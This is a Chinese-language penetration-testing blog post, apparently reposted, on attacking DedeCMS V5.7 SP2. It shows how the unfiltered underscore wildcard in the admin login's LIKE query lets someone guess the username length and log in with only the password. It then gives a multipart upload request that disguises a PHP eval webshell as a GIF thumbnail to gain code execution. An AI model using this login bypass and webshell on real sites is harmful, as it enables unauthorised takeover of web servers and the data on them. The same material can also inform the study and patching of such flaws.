ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

dedecms 渗透

2021-01-02 03:01:48  阅读:357  来源: 互联网

标签:用户名 渗透 loginip dsql dedecms admin pwd row


dedecms 渗透

环境搭建

最新版dedecms即V5.7 SP2(从18年开始就已经没有更新了,应该是没有人维护了)。

织梦全版本漏洞扫描

织梦全版本漏洞扫描https://github.com/lengjibo/dedecmscan

c:\dedecmscan-master>python3 dedescan.py

探测版本,探测后台地址,探测一些绝对路径泄露等。

猜解织梦后台管理员用户名位数

在dede/login.php中

$res = $cuserLogin->checkUser($userid,$pwd);

在include/userlogin.class.php

/**
     *  检验用户是否正确
     *
     * @access    public
     * @param     string    $username  用户名
     * @param     string    $userpwd  密码
     * @return    string
     */
    function checkUser($username, $userpwd)
    {
        global $dsql;

        //只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
        $this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
        $this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd);
        $pwd = substr(md5($this->userPwd), 5, 20);
        $dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");
        $dsql->Execute();
        $row = $dsql->GetObject();
        if(!isset($row->pwd))
        {
            return -1;
        }
        else if($pwd!=$row->pwd)
        {
            return -2;
        }
        else
        {
            $loginip = GetIP();
            $this->userID = $row->id;
            $this->userType = $row->usertype;
            $this->userChannel = $row->typeid;
            $this->userName = $row->uname;
            $this->userPurview = $row->purviews;
            $inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'";
            $dsql->ExecuteNoneQuery($inquery);
            $sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id;
            $dsql->ExecuteNoneQuery($sql);
            return 1;
        }
    }

在根据用户名查询密码的时候使用了like语句

WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1"
$this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);

虽然在前面有把一些用户名不允许的字符给替换为空了, 想直接用%这种匹配任意数量字符的模糊查询出数据就不行了。
但是可以看到这个过滤没有把_替换为空。

对于LIKE,可以在模式中使用以下两个通配符:
%匹配任意数量的字符,甚至零个字符。
_只匹配一个字符。

本次测试,设置的账号密码是admin,admin

当输入四个_时,返回

当输入五个_时,返回

此时用户名已经验证通过,因此可以在不知道用户名的情况下,直接通过密码登录上。

后台getshell

在“我发布的文档”——》添加文档,缩略图处,上传文件

POST:

Content-Disposition: form-data; name="litpic"; filename="1.php"
Content-Type: image/jpeg

GIF89a
<?php
@eval($_POST[cmd]);
?>

成功上传webshell

参考

http://www.yulegeyu.com/2018/09/20/dedecms-guess-admin-username-trick/

标签:用户名,渗透,loginip,dsql,dedecms,admin,pwd,row
来源: https://www.cnblogs.com/-wing/p/14221493.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有